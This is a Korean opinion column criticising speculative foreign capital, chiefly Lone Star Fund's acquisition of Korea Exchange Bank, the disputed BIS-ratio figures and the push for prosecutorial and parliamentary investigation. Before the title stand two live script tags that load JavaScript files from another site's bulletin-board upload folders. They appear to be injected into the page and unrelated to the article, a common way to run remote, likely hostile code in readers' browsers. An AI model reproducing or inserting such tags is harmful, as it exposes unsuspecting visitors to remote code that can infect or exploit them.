<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script>    <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script>    사자(死者)는 말이 없다?

국내 주식 시장에서 외국자본의 비율이 45%, 180조원에 달한다. IMF외환위기 이후 알짜배기 기업들은 거의 외국자본의 손에 넘어갔다. 은행, 증권, 보험은 물론이고 재벌대기업도 외국자본이 절반이상을 차지하고 있다. 차지하는 것 까지는 그렇다 치고 외국자본의 투기횡포는 여러 형태로 경제 질서를 혼란에 빠뜨리고 있다. 거기다가 한.미 FTA 협상과정에서 미국이 더 강도 높게 요구할 시장개방과 규제철폐가 예고되고 있다. 국내에 들어와 있는 수많은 투기자본과 그 행태에 대해 연일 경제면 기사로 보도되고 있다. 외국자본신화론 내지 외국자본 순기능론에 도취되어 외국자본에 대해 ‘투기자본’이라는 딱지를 붙이는 것은 폐쇄주의 내지 국수주의 쯤으로 비난하던 여론도 이제 자연스럽게 ‘투기자본’이란 용어를 사용하게 되었다. 물론 국내언론들은 국내재벌(자본)에 대한 역차별을 부각시키고 특히 산업(재벌)자본의 은행소유에 대한 규제를 해제하기 위해 외국자본을 투기자본으로 부르기 시작한 것은 그들 나름의 의도가 있었기 때문이다.

그러나 분명한 것은 투기자본은 국내.외 자본과 분리될 수 없다. 국내에는 사채 또는 부동산 투기자본과 재벌투기자본이 엄연히 존재한다. 자본주의체제에서는 모든 자본은 기본적으로 투기자본이다. 자본에서 ‘투기성’을 제거하면 자본주의 체제가 소멸한다는 이론이 있다. 이제 국내에 들어와 있는 투기자본(펀드) 중에서 가장 오랫동안 언론의 관심을 끌고 있는 것이 론스타펀드다. 물론 외환은행의 헐값 매각 문제는 투기자본 감시센터의 끈질긴 추적과 검찰 고발 그리고 국회에서의 적극적인 활동성과 때문이었다. 국제결제은행(BIS)의 자기 자본 비율이 8% 이하가 부실의 기준인데 2003년 6월 당시 9%가 넘었던 외환은행의 BIS비율이 한 달 만에 갑가지 6%로 떨어진다. 그 내용은 같은 해 7월 21일 오전 9시 55분 금융감독원에 5장 짜리 팩스로 날아들었다. 그 해 말이면 BIS 비율이 6%로 떨어질 것이라는 것이었다. 이를 보낸 사람은 모 차장이었고 그는 지금 사망하고 없다. 국회문서 검증반은 외환은행 상급자의 지시도 받지 않고 표지도 없는 팩스 몇 장으로 BIS비율이 조작되고 국책은행인 외환은행이 투기자본에게 팔려나갔다는 것은 말이 안 된다고 주장하고 있다.

국회재경위의 야당 측은 검찰고발, 국정조사 등을 주장하고 있으나 여당은 반대하고 있다. 야당은 론스타가 추진하는 외환은행 매각을 중지시키고 불법매각에 대한 철저한 조사를 촉구하고 있다. 그러나 한덕수 경제부총리는 합법적 근거가 없는 상황에서 이를 지연시킬 수 없다고 했고 윤증현 금감위원장은 국제적 조롱거리가 될 것이라고 주장했다. 현재 투기자본감시센터가 당시의 김진표재경부장관 등을 검찰에 고발한 사건이 조사 중에 있고 국회재경위에서도 검찰고발을 추진하고 있다. 외환은행 매각과 관련한 재경부, 금감원, 외환은행관계자에 대한 검찰조사가 조속히 이루어져 한다. 그리고 론스타펀드의 소송대리 역할을 하고 있는 법무법인의 고문이나 자문역할을 해 오면서 외환은행 매각에 관련된 전직 고위 관료들에 대한 조사가 국회차원에서 병행하여 이루어져야 한다. 그렇지 않으면 최근 오리온전기 등 제조업체까지 확산되고 있는 투기자본의 인수합병과 청산이 거대한 커넥션에 의해 불법적 거래로 이루어지고 있다는 지적도 소문으로 끝나버리고 말 것이다. 노동자만 길거리고 내몰리고 고통에 빠질 것이다. 고위 책임자는 빠진 채 하위직원이 죽고 없다고 그에게만 책임을 떠넘기려 하고 있다. 그러나 책임에는 그에 걸맞는 직책이 있는 법이다.